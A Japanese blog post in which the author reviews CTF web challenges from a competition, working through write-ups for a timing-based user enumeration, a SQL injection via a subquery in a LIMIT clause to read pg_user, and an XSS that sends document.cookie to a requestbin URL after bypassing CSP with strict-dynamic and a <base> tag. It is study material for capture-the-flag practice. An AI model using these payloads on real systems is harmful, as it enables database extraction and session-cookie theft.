研究室の人たちを誘って出場したんですが, 自分は一問も解けずにチームの人らがめっちゃ解いてくれました…
自分が解けなかった問題を先輩の解説やふるつきさんとやっていく気持ちさんのwriteupをみて, 復習します。
[Web] Spy
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
この最後の"{:.7f}".format(time.perf_counter()-t)
がみそ。ハッシュ化は時間のかかる処理なので, 実行時間の違いによってDBにレコードが存在するかがわかる。
[Web] Tweetstore
limit, ok := r.URL.Query()["limit"]
if ok && (limit[0] != "") {
sql += " limit " + strings.Split(limit[0], ";")[0]
}
SQLインジェクションってことはわかっただけで時間が解けた問題。最初UNION ALL句でpg_user
を覗けば終わりだと思ったのだが, limit句の後ろでUNION ALL句をつけるにはselect文全体に()が必要らしい…
答えはlimit句内でサブクエリを使う方法。limitのクエリパラメータを(select ascii(substr(usename,1,1)) from pg_user limit 1 offset 1)
みたいにすれば表示された件数がusenameの1文字目のasciiコードになる。めちゃCTFっぽい。
[Web] Somen
送ったクエリパラメータにflagをくっつけてgetしてくれるので, そっから自分のエンドポイントにflagくっつけてアクセスされればいいまでわかった。location.href="http://requestbin.net/r/xxxxx?q" + document.cookie;
まで書いた。
次にCSPから逃れないといけないらしい。
<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>
なかなか理解しにくいので引用させていただきます。
まずこのうち CSP のバイパスについて考えてみましょう。 いま CSP ヘッダを睨んでやると、script-src による制限が非常に restrictive なものであることが分かります。 しかしここにある strict-dynamic ディレクティブは既に実行を許可されている JavaScript から挿入された non-“parser-inserted” な script タグ要素の動作を許可するというものです。 したがってもしこの Web アプリケーションの中で non-“parser-inserted” な script タグを作ることができるのであれば、この CSP はバイパスすることができます。
らしく, </title><script id="message"></script>
とすればいいらしいです。はい。
ここからさらにsecurity.js
から逃れないといけない。
const username = new URL(location).searchParams.get("username");
if (username !== null && !/^[a-zA-Z0-9]*$/.test(username)) {
document.location = "/error.php";
}
ここに関しては/security.js
が相対パスであたえられているところから<base>
を使って参照先を変えられるらしいです。
</title><script id="message"></script><base href="https://gomi.example">
感想
やっぱりちゃんとCTF勉強しないと解けなさそうですが, ハッカーぽいことが許されるので楽しいです。またなんか機会があればやってみようと思います。